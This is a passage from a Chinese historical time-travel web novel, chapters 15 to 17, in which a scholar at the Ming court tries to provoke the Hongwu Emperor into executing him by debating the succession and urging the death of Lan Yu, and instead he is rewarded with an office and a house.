“从此以后,我黄子澄,便是大明之柱石!” “届时我将名垂青史,后世诵之!” 黄子澄的眼睛在发光! 文臣的追高追求无非就是名留青史,而眼下,黄子澄看到了这可能性! ...... 老朱的脸色愈发难看。 因为这会儿的朱允熥连他的话都已经听不进去了,只一味地痛哭流涕。 孙子当着文武百官的面这般懦弱,这让老朱感觉颜面尽失,老朱家彻彻底底地成了笑话。 “别哭了!” 老朱‘啪’地一下猛地一拍龙椅。 整个奉天殿都为之一振。 百官不约而同地吓了个哆嗦。 而正在痛哭的朱允熥也被老朱的这突如其来的发飙终于给拉回了现实,整个人一抽之后,顿时止住了哭声,由于止住太快,整个人一抽一抽的,还在哽咽。 朱允熥低着头,不敢抬头看老朱,匍匐在地上,一声不吭。 他已经丢尽了脸面,也知道老朱动了怒,可他没办法,他就是没有来由地害怕,脑海里不断浮现出那一个个惨死的宫女太监,从小到大死在他身边的宫女太监太多太多了。 这些人就像是宫里的幽灵,谁都觉得他们死的没有毛病,没有人去追究,可正因如此,朱允熥才更害怕。 他担心某一天,自己也这么不明不白地没了。 他只是想好好活着,苟且偷生。哪怕是当一条老狗,也要一口气一口气地喘着,没有尊严地活下去....他不想死.... 老朱看着趴在地上的朱允熥,一脸怒意地看向蓝玉。 “蓝玉,是你让允熥上的朝?” “怎么?是嫌天下人都不晓得咱有个这般丢人的子孙吗?” “你想如何?” 老朱怒极。 蓝玉苦笑。 “陛下,臣有罪。” 蓝玉无奈只好背锅。他也没有料到朱允熥会当朝做出这样的事,眼下明显是被老朱给惦记上了。这口锅总归是要有人背的.... “皇爷爷请息怒,允熥他尚且年幼,再加上性子懦弱了一些,打小便如此,也是情有可原,还请皇爷爷莫怪。” “倘若皇爷爷要惩治允熥,那皇爷爷就罚我吧,孙儿是允熥的兄长,是孙儿没有起好带头作用,让皇爷爷烦心了。” 朱允炆站了出来,恭恭敬敬地对老朱说着,言语之间恭敬有礼,与一旁趴在地上颜面尽失的朱允熥形成了鲜明的对比.... 老朱看了看朱允炆,又看了看朱允熥,心中默默叹了口气。 都是自己的孙子,怎么这差距就这么大呢? “皇爷爷息怒,您得保重身体才是,大明如今还得靠皇爷爷您啊。” 朱允炆一脸关切地看着老朱,眼神中满是陈恳。 老朱听后也是心头一暖。 而与此同时,文官集团中的齐泰和黄子澄互视一眼,不由露出了笑容。 黄子澄看向朱允炆,心中暗道一个‘好’字! 不愧是皇孙,这关心恰到好处! 此时越是表现出有担当,在陛下的心中留下的印象就越好! 这便是仁孝之风啊! ....... 而就在这时。 一道突兀的声音忽的响起。 “陛下,学生有一言,不知当不当讲!” 老朱发怒,整个奉天殿没有一个人敢吭声,只有朱允炆敢宽慰两句。 而这突如其来的熟悉无比的声音却让满朝文武不由一怔。 大家纷纷看向了声音源头处,看到朱煐后,不由面露怪异之色。 这家伙.... 意料之外,却又在情理之中。 心里还疑惑呢,哪个家伙这般没有眼色,这时候开口。这要是朱煐这厮,那就正常了。 老朱听到朱煐的声音眉头一挑,原本还沉静在朱允熥懦弱的愤怒中的情绪顿时抽离,看到朱煐,心中不由倍感欣慰。 允熥这小子是给咱老朱家丢脸了,可雄英这孩子好啊! 这也就是旁人不知晓雄英的身份,这要是被旁人知晓,一个八岁孩子能一边养着重病的父母,一边苦读诗书靠着自己的能力考入殿试,还能够在朝堂上侃侃而谈,为国慷慨陈词甚至不惜牺牲自己的性命! 这样的孩子,可太给老朱家长脸了! 这要是日后为人所知,青史留名都是板上钉钉的事儿! 看着朱煐,老朱的心情都瞬间变好了。 “也是,这一大家子的,哪能人人都优秀?有雄英这一个孩子出息已是上天眷顾了,咱不该强求太多才是。” 老朱心里暗暗对自己说着,这般想,心情也就好多了。 老朱微微一笑,冲着朱煐招了招手:“讲,有话就说,这朝堂没那么多规矩。” “????” 老朱一笑,满朝文武全都给看傻了... 原本老朱满脸煞气,整个奉天殿都充斥着一股子愠怒和低沉的气氛中,可这一笑,如春风拂面,整个奉天殿的气氛骤然间便变了。 身在这朝中,每一个官员的感知都十分的敏锐。 看到这老朱突然的转变,都不由怔住了.... 众人心中疑惑不解。 黄子澄也愣住了。 旋即,黄子澄心中又是一阵了然,看向老朱的眼神中更为崇敬。 不愧是陛下! 这么快就控制好的自己的情绪! 喜怒不形于色,这便是君王! 这一收一放之间,尽显陛下的手段! 黄子澄想的很简单,老朱这情绪变化突然,毫无征兆期间更是无事发生,单纯只是朱煐站出来要上禀。 可堂堂洪武帝,会因为一个小小进士要说话就情绪发生翻天覆地的变化吗? 显然不会。 那么答案只有一个——那就是陛下自己控制了情绪! 这便是君心难测!君威难测啊! ...... 朱煐恍若未觉,直面老朱。 “陛下,学生以为,允熥殿下今日会变得这般懦弱,非殿下之错。” 朱煐掷地有声地说道,说着眼睛直勾勾地看向老朱。 老朱闻言也是一愣,下意识反问:“允熥懦弱,难不成还与旁人有关?不是他的错,是谁的错?总不能是咱的错吧?” 提到朱允熥,老朱心头又是涌上一股子莫名的火气。 咱这般刚硬的脾气,怎么就出了这么个懦弱无能的孙子? 朱煐面不改色,不卑不亢,看着老朱掷地有声道:“陛下说的对,学生以为,允熥殿下懦弱,实乃陛下之错!哪怕不全是陛下您的过错,您也该当主责!” “殿下如此,全赖陛下!” 第15章 忠心耿耿又不耽误造反 “????” 老朱顿时懵逼了... “这和咱有什么关系?” “朱煐,休要胡言!” 就在此时,黄子澄忽地跳了出来。 “允熥殿下性子软弱之事自小便如此,与陛下何干?总不能说殿下是陛下的孙儿便是陛下之错吧?滑天下之大稽!” “允炆殿下仁德兼备,何以便没有如此?” 黄子澄赶忙出来,一来冲老朱表忠心,二来也侧方面让老朱的心里更进一步留下朱允炆品行更好的印象,三来在今日这个时间出来,不着痕迹地拍了一计朱允炆的马屁。 今日绝对是奠定朱允炆皇储之位的重要日子,哪怕是若干年后,朱允炆必然也是印象深刻。 只要在今天刷足了存在感,日后好处巨大! 黄子澄深谙此道,于是毅然决然冲锋在前,当场与朱煐对峙起来。 朱煐扫了黄子澄一眼。 “黄大人。” “可知子不教,谁之过?” “子不教自然是父之....” 黄子澄话说一半,顿时止住,眼睛猛地一瞪看向朱煐:“你问这做甚?” “看来黄大人也知道这子不教父之过。允熥殿下如今这般懦弱,不赖陛下赖谁?” “可陛下也并非允熥殿下之父...” “那依黄大人您的意思,是该找九泉之下的懿文太子咯?” “我..”黄子澄脸色骤变,‘噗通’一声跪倒在地:“陛下,这朱煐构陷臣,臣从未如此说过!” 黄子澄被吓得够呛,朱煐却是面色不变,转而看向老朱:“陛下,黄大人说的好啊,允炆殿下和允熥殿下都是懿文太子所生,又都是生长在宫中,何以允熥殿下便如此懦弱?” “一个人的性格如何,与生长环境有着密不可分的关系。陛下这些年可曾有关心过允熥殿下?” “没有吧?” “敢问这都是在东宫,允炆殿下与允熥殿下,有何不同?” “学生这左思右想,想来想去,想必也就只有一个不同了。” “什么不同?” 老朱眉头深锁,盯着朱煐,若有所思。 倘若是旁人说这话,擅论宫中秘事,不管原因为何,老朱必然大怒。 可偏偏说这话的是朱煐,老朱的第一反应并非愤怒,反而是顺着朱煐的思维思考了起来.... “陛下,学生以为这允炆殿下和允熥殿下最大的不同之处莫过于一个有娘,一个没娘。” “允炆殿下有亲娘吕氏撑腰,而允熥殿下的亲娘常氏早早去世,太子殿下和陛下您又常年忙于政务,这样的环境下,允熥殿下的性格如何不懦弱?” 朱煐一番话,老朱顿时愣在原地.... 此言一出,满朝文武顿时哗然! 有些事情虽然大家都知道,可话不能说,一旦说出口,那就是滔天大祸! 文武百官齐齐变了脸色,看向朱煐的目光中充满了惊骇。 疯子! 这特娘的就是个疯子! 大庭广众,在这大朝会上毫无根据地公然诋毁太子妃? 这小子是疯了!真疯了! “陛下,臣奏朱煐构陷!” 黄子澄第一个跳了出来。 “臣附议!捕风捉影之事,朱煐毫无根据构陷太子妃,按律当斩!” “陛下,此人妖言惑众,不可听信啊!” “.....” 文官集团一个个全都跳了出来,争先恐后。 现在的局面已经非常明朗,朱允熥的表现已经意味着他基本失去了和朱允炆竞争皇储的资格。 也就是说,日后大明继承人就是朱允炆! 这么一个在大明未来继承人面前露脸表忠心又不会引起老朱反感的机会,又有谁会放过? 一时间,群臣激愤,就像是朱煐杀了他们全家老母一般.... 朱煐静静地看着眼前的这一幕。 他面不改色,可心中却是狂喜。 他,看到的不是一个个抨击他的大臣,而是命运的回响! 他看到的是功德圆满! 朱煐看着群情激奋的满朝文武,眼中没有半点畏惧,只有满眼的欣慰。 诸位,大事若成,我不会忘了在场的每一个人! ..... 而此时。 豁然变了脸色的不仅仅是满朝文武,还有站在首排的朱允炆。 朱允炆的脸色难看到了极致。 自家人知道自家事,他明白朱煐说的半点也没错。 他咬着牙看着朱煐,心里已经把朱煐的九族都给杀了个来回! “此人怎敢!” “怎敢如此?” “该死!” 朱允炆无比气愤,倘若他现在是皇帝,定然在第一时间将朱煐碎尸万段。 可惜,如今的他还不是.... ..... 与此同时。 站在朱允炆身边的朱允熥看着朱煐,却愣住了...... 耳边萦绕着朱煐的那番话,身子隐隐颤抖。 说得好! 朱允熥当场落泪。 原本他就已经哭了,因为恐惧,因为害怕,可这会儿的眼泪却是因为激动。 终于! 终于有人明白自己的难处了! 朱允熥抬头看向朱煐...‘噗通..噗通...’ 看着朱煐,朱允熥忽然心跳加速,有种莫名的感觉...仿佛两人之间产生了某种特殊的联系一般.... 朱允熥不由愣在了原地.... 怎么...怎么感觉很熟悉? 此人我从未见过,为何会有种熟悉的感觉? ...... 朱允熥疑惑,但场上的局面却已经没有给他更进一步思索的条件。 朱煐一番话让满朝文臣急的跳脚。 而此时,龙椅上的老朱脸色却极为阴翳。 他冷着个脸看着朝中跳脚的官员,眉头深锁。 朱煐一番话让他敏锐感觉到了问题。 他看了看朱允熥又看了看朱允炆,心中也是不由得排腹。 “难不成咱大孙说对了?” ...... 老朱心中排腹。 而此刻,朝中。 和跳脚的文官集团不同,作为淮西一脉的领头羊,凉国公蓝玉却是笑了.... 朱煐一番话,让整个文官集团跳脚,可这番话对于朱允熥却是一个莫大的洗白机会! 这些话蓝玉不方便说也不敢说,可朱煐说出来之后,咱跟着附和总没错吧? “陛下,臣有一言!” 蓝玉猛地站了出来,面色郑重。 老朱脸色有些难看。 他意识到自己的孙儿可能受到了外人的特殊针对之后,他的心中充满了愠怒。 朱允熥是姓朱,而吕氏,哪怕是朱允炆的生母,那也只是姓吕! 一个姓吕的,敢欺负我老朱家的子孙? 愠怒的老朱被蓝玉将思绪拉回到现实,冷着个脸:“说!” “陛下,朱煐此言虽然非常大胆,但臣以为,不排除这种可能!” “至于到底真假,一查便知!” “凉国公,你这话什么意思?” 蓝玉两句话顿时让黄子澄变了脸色,当即站了出来。 蓝玉只是淡淡地扫了黄子澄一眼,眼中满是轻蔑。 “老夫什么意思,需要同你解释?我入朝时,你还在吃奶!” 黄子澄脸色刷的一下通红,被蓝玉一句话给气得够呛。 “匹夫!” “粗鄙!” 他心中大骂蓝玉这老匹夫,可嘴上却不敢说出来,对方是凉国公,是大明军神,而自己只是小小三品。虽近些年受到了陛下的重用宠幸,可终究只是三品。 一个是国公,一个只是三品,这地位差距近若云泥。 “他娘的老匹夫!你给我等着!” “三十年河东三十年河西,等允炆殿下上位,我黄子澄便要你好看!” 黄子澄心中气愤却又无可奈何,非但不能破口大骂反而还得笑脸相迎。 “凉国公说笑了,莫不是凉国公也觉得这朱煐所言有理?” 黄子澄暗暗给蓝玉下了个套。 他就是要让蓝玉在朱允炆的心中留下一个印象,如此一来日后等朱允炆上位之后便有了由头攻讦。 蓝玉只是淡淡地扫了黄子澄一眼,压根不搭茬。 黄子澄气急,却又无可奈何。 “陛下,臣以为完全可以仔细查一查,倘若没有此事,也好还允炆殿下一个清白,您说是吧?” 蓝玉的话说的十分漂亮。 “皇爷爷,母后绝对没有做出这等事!” 朱允炆豁然起身,争辩道。 老朱看了朱允炆一眼:“行了允炆,此事与你无关,你年纪小,不懂这些。” 朱允炆脸色骤变。 不懂这些? 我可不要太懂! 老朱这一句话让朱允炆又是庆幸又是忐忑。 庆幸的是老朱这一句话几乎就等于把他给摘了出去,与他无关,而忐忑的却是老朱这一句话言外之意也就是此事要查! ...... 奉天殿里,百官不发一言。 又再次陷入到了一种僵持的局面中.... 原本朱允炆因为朱允熥拉跨至极的表现大占上风,可却因为朱煐的一番话又没了大好形势。 还是老朱开口打破了僵局。 老朱看向朱煐。 “朱爱卿。” “学生在。” “咱如果问你,假如你是咱的话,你如何立皇储?” 老朱的眼睛直勾勾地看着朱煐。 而随着他的这话出口,朱煐也是不由一愣。 百官愕然。 就连蓝玉也是看着老朱,眼中充满了诧异。 这话...是想这小子死? 众人都不由看向朱煐,眼中满是怜悯。 而这会儿的朱煐,先是一愣,旋即心里便是狂喜! 让我站在皇帝的角度立皇储,会立谁? 这问题,无论是怎么回答,都不会有什么好下场,擅论皇储,且还自比皇帝。虽然这是老朱主动提的,可这世上的规则本就这样,有些事情,皇帝可以提,但你不能答,你搭茬了,那就犯了大罪! 这要是换个人,此刻怕已经是进退失据。 可偏偏这事儿落在了朱煐的身上,朱煐乐了。 这不是瞌睡了正好送了个枕头吗? ..... 就在大家以为朱煐会想办法委婉推脱的时候,朱煐却当仁不让地挺身上前。 “启禀陛下,学生不知道立谁更好,但知道立谁不行。” “首先便是立允炆殿下不行。” “至于原因,先前已经说了,倘若立允炆殿下为皇储,日后想要登基的话,得先过了凉国公这一关,否则凉国公起兵造反,到时候陛下您已经殡天,这偌大的大明,谁还能拦得住凉国公?” “凉国公威名赫赫,每战必胜,是我大明军神,在大明军中威望之高,仅次于陛下,陛下去世,试问以凉国公的声望,允炆殿下何以能够坐稳这皇位?就靠这朝堂上蝇营狗苟的兖兖诸公吗?” 朱煐说着扫了群臣一圈。 文官集团的官员们一个个脸色难看,却也都没有说话,任凭朱煐嘲讽。 蝇营狗苟就蝇营狗苟吧,他们知道朱煐的这话里,嘲讽他们也就是附带的,主要受到致命打击的还得是蓝玉! 这话里话外的意思就是告诉陛下,想扶允炆殿下上位,那就要提前处理掉凉国公蓝玉啊! 显然,这些话正是文官集团的这些文臣们想说却又不敢说的。 而此时,蓝玉的脸色难看到了极致。 “胡言乱语!” “小子,这饭能乱吃,话可不能乱说!老夫对陛下忠心耿耿....” 蓝玉站出来,结果话还没说到一半就被朱煐给打断。 “曹孟德也是忠心耿耿,王莽忠心也是耿耿,凉国公,这人是会变的,我只是说,你有这个能力,又没说你没有对陛下忠心耿耿?到时候陛下都归天了,你这对陛下忠心耿耿和造允炆殿下的反有什么冲突?这显然没有冲突嘛!” “该忠心耿耿是忠心耿耿,该造反还是造反的嘛!” 朱煐摊了摊手,压根没有把蓝玉的质问放在眼里。 小爷我死都不怕,还怕你蓝玉的质问? “好了蓝玉,你先退下,咱先问完你再解释!” 蓝玉还想说什么,可却被老朱喝止.... 老朱看着朱煐,眼中充满了对这孙儿的满意.....越看越是欢喜.... “朱爱卿。那你说立允炆不行,意思是让咱立允熥?可你也看到了允熥的这性格....” 朱煐看了老朱两眼,心里泛起了嘀咕。 这丫的怎么还问? 就凭刚刚自己说的一番话,正常来说,换成正常皇帝都该怒了不知道多少次了,他娘的,这真正历史里,老朱的脾气这么好的吗? 这脾气好的吓人啊! 满清误我啊! 这他娘的修明史是怎么修的?这艺术加工加的也太多了吧? 这老朱的脾气...好的吓人啊! 第16章 陛下请斩凉国公! 朱煐不是个轻言放弃的人。 他决定再加一把火。 任凭你脾气再好,总能找到办法,办法总比困难多! “陛下,学生以为,允熥殿下并非生来懦弱,好好调教倒也并非全然没有机会。” “不过陛下需注意两点。” “哪两点?” 老朱好奇地看向朱煐。 自己这乖孙总是语出惊人,老朱饶有兴致地看着朱煐,倒是一点也不担心皇储之事,事实上这会儿老朱的心里早已经有了全新的打算。 他审视地看着朱煐。 百官也齐齐看向朱煐。 短短两日,朱煐已经彻底成了这两日朝会的重要人物,一言一行都让人为之关注。 当然,在官员们看来,这小子邪性得很,像是给陛下给下了蛊似的,陛下对这小子的容忍度比常人高多了! 朱煐伸出两根手指:“其一便是时间,想要重新培养允熥殿下的性情,这时间上来不及了。” “倘若懿文太子尚且在世,日后等懿文太子登基,随着允熥殿下日益长大,说不定性情会逐渐改变,大明也有充足的时间去等允熥殿下成长改变。可如今,陛下您算算您的年岁,人近七十古来稀,以陛下您这年龄,随时可能离世啊,这时间上不好说,培养允熥殿下有风险,还需陛下提前注意。” 朱煐一番话,满殿顿时鸦雀无声! 偌大的奉天殿,百官失语。 无论是文官集团还是武将勋贵一个个全都瞪大了眼睛看着此刻侃侃而谈的朱煐,这会儿朱煐一脸义正言辞,慷慨无畏的模样。 大家大气都不敢喘一下,只敢用眼角的余光去瞥老朱..... 这小子完了! 众人几乎在同一瞬间就给朱煐给判了死刑。 当着陛下的面,说陛下该死了,这他娘的不是找死是什么? 然而,大家等了半天却也没有等来暴怒的老朱。 众人不由看向老朱。 老朱皱着眉头,抬头看向朱煐,在百官惊愕的目光中竟是点了点头.... “话糙理不糙,这话说的不错。确实,咱这身子骨也不知道还能撑多久,培养允熥确实是风险大了些。” “不过这也只是有些风险罢了,只要允熥有心,咱努努力,用用心,再给允熥铺铺路,这皇储之位倒也不是坐不得!” 老朱的这话让原本听到老朱说培养朱允熥有风险而不由露出笑意的朱允炆瞬间又变了脸色。原本嘴角的那一丝丝笑容顿时消失不见.... 朱煐也是一愣。 看着老朱,更是诧异。 不是,这他娘的是重点吗? 这朱允熥当不当皇储和我有毛线关系?我这言语如此直接,都当着你的面咒你死了,你咋还和个没事人似的? 这心该有多大? 不是,这明史谁修的?不是说老朱瑕疵必报,小肚鸡肠,贼记仇的吗?这哪里是小肚鸡肠?这分明就是道德楷模好吧! “这其二是什么?” 朱煐无语之际,老朱的询问接踵而至.... 朱煐回过神来。 “陛下,这其二就和凉国公有关了。” 朱煐不由看向蓝玉。 一时间,朝中百官都不由循着朱煐的目光全都落在了蓝玉的身上。 蓝玉眉头一挑,心中了然。 与我有关? 想到昨日朱煐所言,蓝玉不由露出了笑容,当即挺身而出:“陛下放心,教诲允熥之事完全可以放心交给臣。只要臣在,便没有人敢欺辱允熥殿下!” 蓝玉中气十足地自信道。 昨日,朱煐所言,倘若立朱允炆,那蓝玉就成了隐患,随时可能在老朱去世之后另立新君,发动政变,扶持朱允熥上位。 那依昨日之言,这要是立朱允熥,不就没有那么多事儿了吗? 允熥喊自己一声舅姥爷,这舅姥爷还能不保着外甥孙? 蓝玉这番做派也想告诉老朱,虽然立朱允熥需要费一番手脚培养,但有自己在,那就能帮着朱允熥。 然而就在蓝玉自信地说完之后,朱煐却是摇了摇头.... “陛下,凉国公这话说的不错,可惜....” “可惜什么?” 老朱追问。 “可惜允熥殿下懦弱啊!” “假设,学生只是说假设啊。” “假设这允熥殿下登基,凉国公奉陛下令保护允熥殿下,教导允熥殿下,从旁辅政,那以允熥殿下的性子,倘若凉国公有政见与允熥殿下发生了冲突,那这大明...会是谁说了算?” “允炆殿下登基,凉国公尚且有人制约,这允熥殿下上位,学生以小人之心度君子之腹的角度来看,以凉国公的权势,与那东汉末年挟天子以令诸侯的曹孟德有的一比。” “这便是学生说的第二点,想立允熥殿下为皇储,请陛下先斩凉国公!” “当然。学生以为凉国公对我大明也算是劳苦功高,平白斩他确实有些冤枉,可不斩他又不行,照学生看,要不然就先杀了,再封一个异姓王就不错,也算是给凉国公一个交代了。” “你说是吧凉国公?” 朱煐说着看向了蓝玉,咧嘴一笑露出大白牙。 “????” 此时的蓝玉整个人都已经彻底傻了.... 此时此刻。 不仅仅是蓝玉。 奉天殿内的文武百官。 刘三吾、黄子澄、齐泰、张勉、等一众文臣悉数瞪大眼睛,看向朱煐和蓝玉,目瞪口呆,眼中满是不可置信的震撼! 而此时的淮西一脉所有人都齐齐变了脸色! 蓝玉可是淮西一脉的领头人,他要死了,等于断了淮西顶梁柱! 到时,淮西一脉在朝堂上的声音瞬间就会变小许多! 可朱煐的这番话,说的他娘的简直太有道理了!大家仔细想了想,发现倘若自己是老朱,压根就找不到不杀蓝玉的理由! 淮西一脉的众人面面相觑,张了张嘴有心想给蓝玉求情,可话到嘴边却又不知道这情从何求起.... 蓝玉整个人都愣在了原地。 他的眼中满是不可置信。 脑海里不断回荡着朱煐的话。越想,脸色变得越发难看。 因为...朱煐的话,说的太有道理了! 朱允熥本就懦弱,而自己势大,这样的组合,岂不就是翻版的挟天子以令诸侯吗? 蓝玉脸色惨白,露出苦笑。 立朱允炆是死路一条,立朱允熥也是死路一条。 难不成这偌大的天下,就没有我蓝玉的容身之处了吗? ...... 蓝玉心如死灰。 而此时的老朱,也是心神俱震,看向朱煐,眼中充满了讶异,心中满是惊叹。 咱乖孙想的....竟然这般深远? 想的这些事,咱都还没有来得及多想! 老朱当了几十年的皇帝,朱煐说的话对不对他只是一听就知道了。 无论蓝玉和朱允熥之间是什么关系,只要朱允熥没有镇住蓝玉的本事,那蓝玉就不能留! 按照朱煐的思路,确实,蓝玉必杀! 无论是自己想立朱允炆还是朱允熥,这一点都无法改变! 老朱看向蓝玉:“蓝玉。你怎么看?” 蓝玉抬头看向老朱,脸上满是苦笑。 怎么看? 我特么的还能怎么看? 蓝玉‘噗通’一声跪到地上,对着老朱磕了个头,摘掉了头上的顶戴。 “陛下,臣无话可说!” 蓝玉没有解释,朱煐的话杀人诛心,这一番话说出来之后,蓝玉不是死也是死了。 “朱爱卿。你觉得咱该怎么处置凉国公?” 老朱似是考校一般询问朱煐。 朱煐看了眼蓝玉,又看了看自己明明语出惊人可却对于自己的这些惊人之言视若无睹的老朱,强压着心里头的困惑,开口回道:“陛下,这如何处置凉国公,不得看陛下您么?” “您觉得该如何处置便如何处置,学生哪里有什么想法?” 朱煐的心思压根不在这儿。 这会儿他正郁闷呢。 明明已经尽力了,可怎么老朱感觉好像没啥太大反应似的.... 至于蓝玉死不死的,和自己有什么关系? ...... 这头,奉天殿中朱煐慷慨陈词后不由郁闷。 他发现老朱的脾气真是太好了! 而与此同时的另一边。 一伙人马入了应天府... “太原府和北平府那边可有传来消息?” 说话的人骑着高头大马,身材魁梧壮硕。 正是从西安府入京的大明秦王殿下,朱樉! 自朱标去世之后,老朱就给老二朱樉、老三朱棡和老四朱棣分别寄去了书信,传召三人只身入京。 朱樉收到信件之后斟酌了许多日,最终还是选择来了应天府。这前前后后用了一个月的时间。 此行他只带了随身的心腹十人。 “殿下,太原府那边来了信,晋王殿下也已经动身,只是不知道此时到了哪里,至于北平府那头....燕王殿下并未回信,尚不知情况。” 说话的是跟随了朱樉十余年的心腹,也是他军中智囊,秦王府幕僚,一个六十岁叫吕凯的老叟。 虽然如今吕凯已经年过六旬,可他的身子骨却不错,长途跋涉还是骑马入京,除了脸上有些疲态之外,身体并没有什么不适。 朱樉听了吕凯的回禀,眉头皱的更深。 “老四这些年越发捉摸不透了,如今大哥出事,他却没了消息,啧啧...” “此番入京也不知父皇是什么意思。” 朱樉眼珠子转了转,喃喃自语.... 片刻后,他回过神来,一拉手中的缰绳,胯下战马顿时发出‘唏律律’的长嘶。 “走!随本王入京见驾!” ....... 大朝会落幕。 百官相继散去。 今日朝会前,无论是文官集团还是淮西一脉全都是兴致勃勃,一副撸起袖子准备大干一场的架势。 可真正朝会后众人却发现,本该是主角的他们彻底沦为了配角。 风头全被朱煐给盖了过去! 而原本的皇储之争,经历了这一次朝会之后,反倒是更加扑朔迷离了..... 老朱一直到退朝也没有说要立谁为皇储。 这会儿百官的心思各不相同。 文官集团忧心忡忡,原本板上钉钉的皇储朱允炆被扣上了一顶亲母吕氏养废皇孙朱允熥的帽子、 而淮西一脉也是愁云惨淡。 朝会上老朱没有对蓝玉动手,没有说蓝玉该死,也没有说蓝玉不该死。 而也正是这样模棱两可的态度让整个淮西一脉的头顶都笼罩着乌云..... 蓝玉则是面如死灰。 他没有任何的侥幸心理。 他很清楚老朱的人品,他明白,今日朱煐一番话,他几乎已经必死无疑! 一个有造反能力,随时可以改天换日实力的凉国公,这对于大明而言意味着什么。不必多说蓝玉自己就明白。 换位思考,倘若他是老朱,也一定会选择杀了自己! 至于说告老还乡? 这些手段对于其他人或许还有点用,可蓝玉明白,这些手段在老朱面前,全然是不顶用的! 老朱是一个做事不留后患的人,尤其还是关系到了大明的未来,蓝玉断定老朱不会心慈手软! 至于为什么现在没有杀自己,蓝玉也没有想明白,但他知道,这一天的到来只是早晚的事儿.... ..... 同时退朝走出奉天殿的,还有朱煐。 朱煐也是垂头丧气的... 他有些恋恋不舍地频频回头看向身后的奉天殿。 他娘的,没死成! 朱煐表示非常不理解。 他的心里已经把历史上修明史的满清官员的祖宗十八代都给骂了一个遍! 这些个狗东西,误我大事! 两天接触下来,这老朱哪里有半点暴君的样子? 这丫的简直就是好脾气的代名词好吧! 老朱的形象和明史上所记载的老朱形象大相径庭! 朝会有百官在,容易让老朱上头,下不来台,这简直就是绝佳的地点和时机。 而自己的出手,朱煐自认算不上完美却也能算优秀! 可偏偏....多番挑衅,却依旧无功而返。 这老朱的脾气,好的吓人! 而更让朱煐有些头疼的是,除了没死成,没有功德圆满之外,这会儿自己还被一个粘牙的家伙给缠住了..... 第17章 老朱送的大宅院 “朱大人,多谢今日朝堂上的救命之恩。” 张平跟在朱煐后面,像个跟屁虫,看向朱煐的眼神满是崇敬。 朱煐这会儿的心情很不好。 大朝会老朱非但没有因为自己说的话而杀了自己,反倒是补录了官职,成了大明都察院监察御史,正七品。 监察御史顾名思义享有监察百官的权力,一般而言监察御史会下派地方,针对地方官员的渎职,贪污受贿等罪名享有大事上奏小事立断,代天子巡狩的权力。 品级不高,但权力不小。 而朱煐的这监察御史比较特殊,属于留京监察,这就更厉害了。 下派的监察御史监察的是地方官员,这留京的,检查的是谁? 从官位品级上看,与朱煐同届的殿试进士朱煐不是最高的,可朱煐却是唯一一个刚入朝就掌了实权的! 张平没有什么背景,再加上殿上得罪了老朱,虽然也被封了官职,却只是个闲散官职,负责编纂文库,上朝位列最后一排且根本没有发言权。 不过他已经非常满意了,毕竟今天差点可是被夷了三族! 想到自家爹娘整个家族都要跟着自己倒霉,张平事后想来心中满是后怕。 朝堂上一腔热血,可事后想想,自己简直混蛋! 家里千辛万苦供自己读书,入了殿试之后本该光宗耀祖,可却因为自己的一时之气险些让整个家族跟着被灭。 而这,都只是因为自己的意气用事! 张平后悔不迭。 好在...亡羊补牢为时未晚,塞翁失马焉知非福,朱煐心胸宽广非但没有计较自己的上奏,反倒是还在朝堂上为自己这个参了他一本的敌人不惜与陛下争辩,甚至赌上性命! 这是什么样的心胸? 这是什么样的格局? 我张平,何其幸也? 从那时起,朱煐的身影在张平的眼中就变得无比高大! 原本对人生有些迷茫的张平,这一刻瞬间找到了方向。 他自诩天才,读书一路上已经走到了顶尖,虽然没有高中状元,却也成了大明朝科举考试中的前五十二名,高中进士! 他原本已经迷茫了,自小走的就是读书这一条路,而眼下这条路走到了尽头,可为官?他没想过自己会成为一个什么样的官员。 他本来想的很简单,他只是不服输,虽出身贫寒,却不想不如那些富家子弟,他的心里憋着一口气。 他想要当个好官,想给大明办事,可怎么当个好官,怎么办事,张平的内心却充满了迷茫。 可在今天的朝堂上,张平找到了答案! 朱煐直面老朱却面不改色,将生死置之度外,甚至将九族都置之度外! 张平自认做不到,也正是因为做不到,所以张平心生敬佩! “朱大人,今日之恩我张平记在心中,来日方长,若有需要,可同我直言。” 张平喋喋不休地在朱煐耳边说着。 朱煐只觉得一个脑袋两个大。 他娘的,这冒昧的家伙! 本来费劲手段没有功德圆满心情就不咋地,这丫的还嗡嗡嗡地在耳边叫个没完,叫的朱煐一阵烦躁.... “朱大人!朱大人!” 朱煐被张平这没皮没脸非要粘着自己的这家伙给骚扰的有些抑郁,忽的听到有人好像叫自己,不由抬头。 就看到蒋瓛一路小跑到了近前。 “蒋指挥使?” 看到是熟人,朱煐不由一愣。 穿越来到大明第二天,这朝堂上的熟人倒是不少,不过关系都不咋地,基本上的关系...算是往死了奏他们过。 蒋瓛算是关系比较和睦的了。 一旁的张平瞪大了牛眼,本能想跑。 蒋瓛,锦衣卫头头,干着天天抄家的差事,这样的人百官都是敬而远之,百官尚且如此就更别说张平这个刚刚入朝的小官员了。在没有入朝的时候他就听说过锦衣卫的赫赫凶名了。 不过张平看了眼朱煐,发现朱煐的脸上没有半分惧色,顿时心生敬意。 原本的敬意又更加拔高了几分。 不愧是我张平要追寻的人,哪怕是面对锦衣卫都指挥使蒋瓛,也如此从容淡定! 张平当即定了定心神。 偶像如此,可不能当着偶像的面丢了面子! 我张平死都不怕,还怕个锦衣卫都指挥使?张平在心中暗戳戳地给自己鼓劲儿.... 蒋瓛连看都没有看一眼朱煐身边的张平而是冲朱煐笑道:“陛下让我带大人去一处宅院,朱大人这刚入朝也没有个落脚地,正好陛下有一处离宫中近些的宅院空置着,赐给你了。我是替陛下来传话的。” 外界盛传凶神恶煞的蒋瓛这会儿却是满面笑容,显得无比和蔼,就像个和蔼可亲的邻家大叔.... 一旁的张平瞪大了眼睛看着蒋瓛。 这他娘的是锦衣卫都指挥使? 我是眼花了? 朱煐看着一脸和蔼模样的蒋瓛,心里面也是排腹。 果然,这满清编纂的明史确实是有着大问题! 不光老朱的性格和明史中所记载的有很大出入,这蒋瓛的性情看来也是有失偏颇。 “坑爹的大清!” 朱煐愤懑。 要不是这丫该死的对明史进行这么多的艺术加工,这会儿自己早该功德圆满了。 现在倒好,看来只能先收集信息,弄清楚老朱究竟是什么性格再对症下药了.... “行吧,那就多谢蒋指挥使了。替我谢谢陛下赏赐。” 正好没有落脚地呢,常年住客栈也不是长久之计,家里又在城外,离这城中太远,上朝找死不方便。 这下好了,白得一个宅院,也算是捡了个落脚处。 离皇宫近? 这个好哇! 入宫找老朱也方便了,有更多的接触机会。 